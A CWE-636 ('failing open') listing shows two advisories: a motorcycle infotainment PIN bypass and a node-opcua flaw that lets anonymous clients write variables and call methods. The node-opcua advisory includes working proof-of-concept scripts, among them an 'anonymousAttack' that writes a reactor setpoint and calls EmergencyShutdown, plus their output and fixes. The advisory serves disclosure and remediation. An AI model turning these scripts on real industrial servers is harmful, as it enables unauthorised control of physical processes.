Common Weakness Enumeration

CWE-636

Allowed-with-Review

Not Failing Securely ('Failing Open')

Abstraction: Class · Status: Draft

When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

152 vulnerabilities reference this CWE, most recent first.

GHSA-X7XQ-W72J-V4QX

Vulnerability from github – Published: 2026-05-29 15:30 – Updated: 2026-05-29 15:30
VLAI
Details

Incorrect behavior order in the Infotainment / Digital Round display of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker to bypass the PIN entry screen. The Infotainment uses presence of Wireless Control Module (WCM) traffic during its boot window as a proxy for whether an immobilizer is fitted; if no WCM messages are observed, it skips the PIN entry screen and shows the normal user interface. An attacker who silences the WCM during the boot window — for example via a separately tracked CAN bus-off technique — can present a fully unlocked Infotainment despite the PIN never being entered. Specific timing and protocol details have been withheld pending vendor remediation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-49317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-636"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-29T14:16:32Z",
    "severity": "LOW"
  },
  "details": "Incorrect behavior order in the Infotainment / Digital Round display of the Indian Motorcycle Scout Bobber + Tech 2025 model year allows an adjacent-network attacker to bypass the PIN entry screen. The Infotainment uses presence of Wireless Control Module (WCM) traffic during its boot window as a proxy for whether an immobilizer is fitted; if no WCM messages are observed, it skips the PIN entry screen and shows the normal user interface. An attacker who silences the WCM during the boot window \u2014 for example via a separately tracked CAN bus-off technique \u2014 can present a fully unlocked Infotainment despite the PIN never being entered. Specific timing and protocol details have been withheld pending vendor remediation.",
  "id": "GHSA-x7xq-w72j-v4qx",
  "modified": "2026-05-29T15:30:35Z",
  "published": "2026-05-29T15:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49317"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/696.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XGGF-M53X-JC3F

Vulnerability from github – Published: 2026-11-10 15:56 – Updated: 2026-11-10 15:56
VLAI
Summary
node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
Details

Summary

An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.

This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit RolePermissions attribute inherit the namespace DefaultRolePermissions. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (Bad_UserAccessDenied when the operation bits are not set); node-opcua instead grants all permissions.

The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.


Affected configuration

This advisory covers two cases that are not equally severe: 1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed. 2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default. Everything below describes case 2 unless stated otherwise.

Root Cause Analysis

Bug 1 - getPermissionForRole(null) returns allPermissions (violates §4.8.3 default-deny)

File: packages/node-opcua-address-space/source/session_context.ts:151-153

function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
    if (rolePermissions === null) {
        return allPermissions; // null means "grant everything" to ANY role, including Anonymous
    }

When the applicable policy resolves to null, the function returns allPermissions (Read, Write, Call) to whichever role is checking permissions, including Anonymous. OPC 10000-3 §4.8.3 requires the opposite: "If they are not set the Server returns Bad_UserAccessDenied."

Bug 2 - The namespace default resolves to null on the enforcement path

The runtime enforcement reads the DefaultRolePermissions / DefaultUserRolePermissions Variable nodes under Server/Namespaces/<ns>. These resolve to null in every reachable configuration:

  • NodeSet2-loaded namespaces (DI / ADI / vendor) ship the Property without a Value (null).
  • Programmatically-created namespaces have no NamespaceMetadata node under Server/Namespaces, so the lookup returns null.

Additionally, server_engine.ts:947-957 rewrites these nodes to a Null-typed value on every initialize(), with no restore:

for (const ns of namespacesNode.getComponents()) {
    const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
    if (defaultRolePermissions) {
        defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
    }
}

Note: the loaded value is already null in stock nodesets, so this reset only changes the value's dataType tag; it is not the sole cause, the namespace default is null regardless.

Bug 3 - Two incoherent enforcement paths

There are two separate and disconnected paths to resolve namespace-default permissions.

Path A (private field) - Namespace.setDefaultRolePermissions() writes the policy exclusively to a JavaScript private field in namespace_impl.ts:

public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
    this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}

This is the value read by local getters (e.g. BaseNodeImpl.getRolePermissions(inherited=true)).

Path B (UAVariable node) - the runtime access-control enforcement (Read/Write/Call) queries the DefaultRolePermissions UAVariable node instead of the private field (session_context.ts):

const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
    const dataValue = defaultRolePermissions.readValue();
    if (dataValue?.statusCode.isGood()) {
        return dataValue.value.value as RolePermissionType[] | null;
    }
}

Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to null, the metadata node is absent (programmatic namespace) or Null-valued (nodeset namespace) and the operator's setDefaultRolePermissions() field is never consulted. That null then triggers the fail-open (Bug 1).

Measured: with setDefaultRolePermissions([Operator]) applied, namespace.getDefaultRolePermissions() returns the policy while getApplicableRolePermissions() returns null.

Synchronization between the two paths only happens if the operator calls setNamespaceMetaData(), which binds the field to the node via bindVariable():

metaData.defaultRolePermissions?.bindVariable(
    {
        get: () =>
            new Variant({
                dataType: DataType.ExtensionObject,
                arrayType: VariantArrayType.Array,
                value: namespace.getDefaultRolePermissions()
            })
    },
    true
);

Without calling setNamespaceMetaData(), setDefaultRolePermissions() has no effect on runtime authorization. Furthermore, on NodeSet2-loaded namespaces setNamespaceMetaData() throws "INamespace meta data already exists" (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.


Steps to Reproduce

PoC-A - Address-space level (unit test, no network)

Save as packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, then run:

cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";

const _keep = should;

describe("PoC RBAC fail-open", () => {
    let addressSpace: AddressSpace;
    let namespace: Namespace;

    before(async () => {
        addressSpace = await getMiniAddressSpace();
        namespace = addressSpace.getOwnNamespace();
    });
    after(() => addressSpace.dispose());

    function anonymousContext(): SessionContext {
        const ctx = new SessionContext();
        ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
        return ctx;
    }

    it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
        const secured = namespace.addVariable({
            browseName: "SecuredWithNodePermissions",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        secured.setRolePermissions([
            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
        ]);
        const ctx = anonymousContext();
        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
    });

    it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
        const relyingOnDefault = namespace.addVariable({
            browseName: "RelyingOnNamespaceDefault",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        const ctx = anonymousContext();
        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
        should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
        relyingOnDefault.isUserWritable(ctx).should.eql(true);
    });

    it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
        const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
        const method = namespace.addMethod(obj, {
            browseName: "PrivilegedMethod",
            inputArguments: [],
            outputArguments: []
        });
        method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
        const ctx = anonymousContext();
        ctx.checkPermission(method, PermissionType.Call).should.eql(true);
        method.getUserExecutableFlag(ctx).should.eql(true);
    });
});

Output:

  PoC RBAC fail-open
    ✓ A. CONTROL: per-node rolePermissions deny Anonymous
    ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
    ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call

  3 passing

PoC-B - End-to-end over TCP (programmatic namespace)

Save as packages/node-opcua/poc_b_e2e_rbac.js, then run node poc_b_e2e_rbac.js (add --safe for the control):

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");

const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true
    });
    await server.initialize();

    const ns = server.engine.addressSpace.getOwnNamespace();

    // Operator hardening: namespace-level RBAC, Anonymous excluded
    ns.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
    ]);
    if (SAFE_MODE) {
        setNamespaceMetaData(ns);
    }

    const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    parentNodeId = device.nodeId;

    const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
    method.bindMethod((_in, _ctx, cb) => {
        console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodNodeId = method.nodeId;

    const variable = ns.addVariable({
        browseName: "ReactorSetpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 350.0 }
    });
    variableNodeId = variable.nodeId;

    await server.start();
    console.log(`[server] Listening on ${ENDPOINT}`);
    return server;
}

async function anonymousAttack() {
    const client = OPCUAClient.create({
        endpointMustExist: false,
        securityMode: MessageSecurityMode.None,
        securityPolicy: SecurityPolicy.None
    });
    await client.connect(ENDPOINT);
    const session = await client.createSession({ type: UserTokenType.Anonymous });
    console.log("[client] Anonymous session activated");

    let callStatus;
    try {
        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
        callStatus = r.statusCode.toString();
    } catch (e) { callStatus = e.message; }

    let writeStatus;
    try {
        const r = await session.write({
            nodeId: variableNodeId,
            attributeId: AttributeIds.Value,
            value: { value: { dataType: DataType.Double, value: 999.0 } }
        });
        writeStatus = r.toString();
    } catch (e) { writeStatus = e.message; }

    await session.close();
    await client.disconnect();
    return { callStatus, writeStatus };
}

(async () => {
    const server = await startServer();
    try {
        const { callStatus, writeStatus } = await anonymousAttack();
        console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
        console.log(`CALL  EmergencyShutdown : ${callStatus}`);
        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);
        const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
        console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
    } finally {
        await server.shutdown();
    }
})().catch(e => { console.error(e); process.exit(1); });

Vulnerable output (node poc_b_e2e_rbac.js):

[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL  EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint   : Good (0x00000000)

Control output (node poc_b_e2e_rbac.js --safe):

Mode: SAFE
CALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)

PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)

Save as packages/node-opcua/poc_c_nodeset_rbac.js, then run node poc_c_nodeset_rbac.js:

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");

const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true,
        nodeset_filename: [nodesets.standard, nodesets.di]
    });
    await server.initialize();

    const di = server.engine.addressSpace.getNamespace(DI_URI);
    di.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
    ]);
    try {
        setNamespaceMetaData(di);
        console.log("[server] hardening: metadata bound");
    } catch (e) {
        console.log("[server] hardening FAILED:", e.message);
    }

    const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    deviceId = device.nodeId;

    const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
    m.bindMethod((_i, _c, cb) => {
        console.log("[server] Stop() EXECUTED by anonymous");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodId = m.nodeId;

    const v = di.addVariable({
        browseName: "Setpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 42 }
    });
    variableId = v.nodeId;

    await server.start();
    return server;
}

async function attack() {
    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
    await client.connect(`opc.tcp://localhost:${PORT}`);
    const s = await client.createSession({ type: UserTokenType.Anonymous });
    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
    await s.close();
    await client.disconnect();
    console.log("CALL  Stop()   :", call);
    console.log("WRITE Setpoint :", write);
}

(async () => {
    const srv = await startServer();
    try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });

Output:

[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL  Stop()   : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)

Impact

  • Write arbitrary values to Variables (CurrentWrite) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters.
  • Call bound Methods. Methods have no AccessLevel second gate; executable defaults to true for bound methods (ua_method_impl.ts).
  • Affects every Node relying on the namespace DefaultRolePermissions inheritance mandated by OPC 10000-3 §5.2.9.
  • Anonymous receives every PermissionFlag because null resolves to allPermissions.
  • Availability impact (A:H, CVSS 9.8) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored A:N as deployment-specific.

What is NOT affected

Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.

  • Nodes with explicit per-node RolePermissions (correctly enforced - PoC-A case A).
  • Programmatically-created namespaces where the operator calls both setDefaultRolePermissions() and setNamespaceMetaData() (PoC-B --safe).
  • Variables without CurrentWrite in AccessLevel (the Call vector still applies to Methods).

Proposed Fix

  1. Fail-closed - getPermissionForRole(null) should return PermissionFlag.None, not allPermissions (per §4.8.3 default-deny).
  2. Coherent path - getApplicableRolePermissions() should use node.getRolePermissions(inherited=true), which already reads the namespace field correctly.
  3. API safety - setDefaultRolePermissions() should take effect on enforcement directly, without requiring setNamespaceMetaData() (which throws on nodeset-loaded namespaces).
  4. Hardening - server_engine.ts:947-957 should not unconditionally reset DefaultRolePermissions.

Spec Reference (verified verbatim against the official OPC Foundation reference)

  • OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns Bad_UserAccessDenied." (default-deny, the behaviour Bug 1 inverts). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3
  • OPC 10000-3 §5.2.9 - RolePermissions: "If not specified, the value of DefaultRolePermissions Property from the NamespaceMetadata Object associated with the Node shall be used instead." and "If a Server supports Permissions for a particular Namespace it shall add the DefaultRolePermissions Property to the NamespaceMetadata Object for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9
  • OPC 10000-5 §6.3.13 - NamespaceMetadataType (defines DefaultRolePermissions / DefaultUserRolePermissions as Properties of the NamespaceMetadata Object). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-opcua"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.42.0"
            },
            {
              "fixed": "2.180.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-opcua-address-space"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.42.0"
            },
            {
              "fixed": "2.180.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-opcua-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.42.0"
            },
            {
              "fixed": "2.180.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-95860"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-285",
      "CWE-636",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-10T15:56:52Z",
    "nvd_published_at": "2026-11-03T21:17:45Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions.\n\nThis follows the inheritance model defined by OPC UA Part 3, \u00a75.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 \u00a74.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**.\n\nThe root cause is a combination of an authorization **fail-open** and a **disconnect** between the configuration API and the runtime enforcement path.\n\n---\n\n## Affected configuration\nThis advisory covers two cases that are not equally severe:\n1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua\u0027s documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.\n2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default.\nEverything below describes case 2 unless stated otherwise.\n\n\n## Root Cause Analysis\n\n### Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates \u00a74.8.3 default-deny)\n\nFile: `packages/node-opcua-address-space/source/session_context.ts:151-153`\n\n```ts\nfunction getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {\n    if (rolePermissions === null) {\n        return allPermissions; // null means \"grant everything\" to ANY role, including Anonymous\n    }\n```\n\nWhen the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, **including Anonymous**. OPC 10000-3 \u00a74.8.3 requires the opposite: *\"If they are not set the Server returns `Bad_UserAccessDenied`.\"*\n\n### Bug 2 - The namespace default resolves to `null` on the enforcement path\n\nThe runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/\u003cns\u003e`. These resolve to `null` in every reachable configuration:\n\n- **NodeSet2-loaded namespaces** (DI / ADI / vendor) ship the Property **without a `Value`** (`null`).\n- **Programmatically-created namespaces** have **no `NamespaceMetadata` node** under `Server/Namespaces`, so the lookup returns `null`.\n\nAdditionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore:\n\n```ts\nfor (const ns of namespacesNode.getComponents()) {\n    const defaultRolePermissions = ns.getChildByName(\"DefaultRolePermissions\") as UAVariable | null;\n    if (defaultRolePermissions) {\n        defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });\n    }\n}\n```\n\n\u003e **Note:** the loaded value is already `null` in stock nodesets, so this reset only changes the value\u0027s `dataType` tag; it is **not** the sole cause, the namespace default is `null` regardless.\n\n### Bug 3 - Two incoherent enforcement paths\n\nThere are two separate and disconnected paths to resolve namespace-default permissions.\n\n**Path A (private field)** - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`:\n\n```ts\npublic setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {\n    this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;\n}\n```\n\nThis is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`).\n\n**Path B (UAVariable node)** - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` **UAVariable node** instead of the private field (`session_context.ts`):\n\n```ts\nconst defaultRolePermissions = uaNamespaceObject.getChildByName(\"DefaultRolePermissions\") as UAVariable;\nif (defaultRolePermissions) {\n    const dataValue = defaultRolePermissions.readValue();\n    if (dataValue?.statusCode.isGood()) {\n        return dataValue.value.value as RolePermissionType[] | null;\n    }\n}\n```\n\nBecause Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`,  the metadata node is **absent** (programmatic namespace) or **Null-valued** (nodeset namespace)  and the operator\u0027s `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1).\n\n\u003e *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`.\n\nSynchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via `bindVariable()`:\n\n```ts\nmetaData.defaultRolePermissions?.bindVariable(\n    {\n        get: () =\u003e\n            new Variant({\n                dataType: DataType.ExtensionObject,\n                arrayType: VariantArrayType.Array,\n                value: namespace.getDefaultRolePermissions()\n            })\n    },\n    true\n);\n```\n\nWithout calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has **no effect** on runtime authorization. **Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `\"INamespace meta data already exists\"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.**\n\n---\n\n## Steps to Reproduce\n\n### PoC-A - Address-space level (unit test, no network)\n\nSave as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run:\n\n```bash\ncd packages/node-opcua-address-space\nnpx mocha ./test/test_poc_rbac_failopen.ts\n```\n\n```ts\nimport { makePermissionFlag } from \"node-opcua-data-model\";\nimport { PermissionType } from \"node-opcua-types\";\nimport { DataType } from \"node-opcua-variant\";\nimport should from \"should\";\nimport { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from \"..\";\nimport { getMiniAddressSpace } from \"../testHelpers\";\n\nconst _keep = should;\n\ndescribe(\"PoC RBAC fail-open\", () =\u003e {\n    let addressSpace: AddressSpace;\n    let namespace: Namespace;\n\n    before(async () =\u003e {\n        addressSpace = await getMiniAddressSpace();\n        namespace = addressSpace.getOwnNamespace();\n    });\n    after(() =\u003e addressSpace.dispose());\n\n    function anonymousContext(): SessionContext {\n        const ctx = new SessionContext();\n        ctx.getCurrentUserRoles = () =\u003e makeRoles([WellKnownRoles.Anonymous]);\n        return ctx;\n    }\n\n    it(\"A. CONTROL: per-node rolePermissions deny Anonymous\", () =\u003e {\n        const secured = namespace.addVariable({\n            browseName: \"SecuredWithNodePermissions\",\n            dataType: DataType.Double,\n            accessLevel: \"CurrentRead | CurrentWrite\",\n            userAccessLevel: \"CurrentRead | CurrentWrite\"\n        });\n        secured.setRolePermissions([\n            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag(\"Read | Write\") }\n        ]);\n        const ctx = anonymousContext();\n        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);\n    });\n\n    it(\"B. VULN: node relying on namespace-default -\u003e Anonymous gets Write\", () =\u003e {\n        const relyingOnDefault = namespace.addVariable({\n            browseName: \"RelyingOnNamespaceDefault\",\n            dataType: DataType.Double,\n            accessLevel: \"CurrentRead | CurrentWrite\",\n            userAccessLevel: \"CurrentRead | CurrentWrite\"\n        });\n        const ctx = anonymousContext();\n        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);\n        should(applicable).eql(null, \"namespace default resolves to null (no namespace-metadata node)\");\n        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);\n        relyingOnDefault.isUserWritable(ctx).should.eql(true);\n    });\n\n    it(\"C. VULN: bound Method without per-node permission -\u003e Anonymous can Call\", () =\u003e {\n        const obj = namespace.addObject({ browseName: \"PocObject\", organizedBy: addressSpace.rootFolder.objects });\n        const method = namespace.addMethod(obj, {\n            browseName: \"PrivilegedMethod\",\n            inputArguments: [],\n            outputArguments: []\n        });\n        method.bindMethod((inputArguments, context, callback) =\u003e callback(null, { statusCode: 0 as any }));\n        const ctx = anonymousContext();\n        ctx.checkPermission(method, PermissionType.Call).should.eql(true);\n        method.getUserExecutableFlag(ctx).should.eql(true);\n    });\n});\n```\n\n**Output:**\n\n```text\n  PoC RBAC fail-open\n    \u2713 A. CONTROL: per-node rolePermissions deny Anonymous\n    \u2713 B. VULN: node relying on namespace-default -\u003e Anonymous gets Write\n    \u2713 C. VULN: bound Method without per-node permission -\u003e Anonymous can Call\n\n  3 passing\n```\n\n### PoC-B - End-to-end over TCP (programmatic namespace)\n\nSave as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control):\n\n```js\nconst {\n    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,\n    MessageSecurityMode, SecurityPolicy, UserTokenType,\n    WellKnownRoles, makePermissionFlag, setNamespaceMetaData\n} = require(\"node-opcua\");\n\nconst PORT = 48411;\nconst ENDPOINT = `opc.tcp://localhost:${PORT}`;\nconst SAFE_MODE = process.argv.includes(\"--safe\");\nlet parentNodeId, methodNodeId, variableNodeId;\n\nasync function startServer() {\n    const server = new OPCUAServer({\n        port: PORT,\n        securityPolicies: [SecurityPolicy.None],\n        securityModes: [MessageSecurityMode.None],\n        allowAnonymous: true\n    });\n    await server.initialize();\n\n    const ns = server.engine.addressSpace.getOwnNamespace();\n\n    // Operator hardening: namespace-level RBAC, Anonymous excluded\n    ns.setDefaultRolePermissions([\n        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag(\"Read | Write | Browse | Call\") },\n        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag(\"Read | Browse\") }\n    ]);\n    if (SAFE_MODE) {\n        setNamespaceMetaData(ns);\n    }\n\n    const device = ns.addObject({ browseName: \"PlantDevice_01\", organizedBy: server.engine.addressSpace.rootFolder.objects });\n    parentNodeId = device.nodeId;\n\n    const method = ns.addMethod(device, { browseName: \"EmergencyShutdown\", inputArguments: [], outputArguments: [] });\n    method.bindMethod((_in, _ctx, cb) =\u003e {\n        console.log(\"[server] EmergencyShutdown EXECUTED by anonymous caller\");\n        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });\n    });\n    methodNodeId = method.nodeId;\n\n    const variable = ns.addVariable({\n        browseName: \"ReactorSetpoint\",\n        componentOf: device,\n        dataType: DataType.Double,\n        accessLevel: \"CurrentRead | CurrentWrite\",\n        userAccessLevel: \"CurrentRead | CurrentWrite\",\n        value: { dataType: DataType.Double, value: 350.0 }\n    });\n    variableNodeId = variable.nodeId;\n\n    await server.start();\n    console.log(`[server] Listening on ${ENDPOINT}`);\n    return server;\n}\n\nasync function anonymousAttack() {\n    const client = OPCUAClient.create({\n        endpointMustExist: false,\n        securityMode: MessageSecurityMode.None,\n        securityPolicy: SecurityPolicy.None\n    });\n    await client.connect(ENDPOINT);\n    const session = await 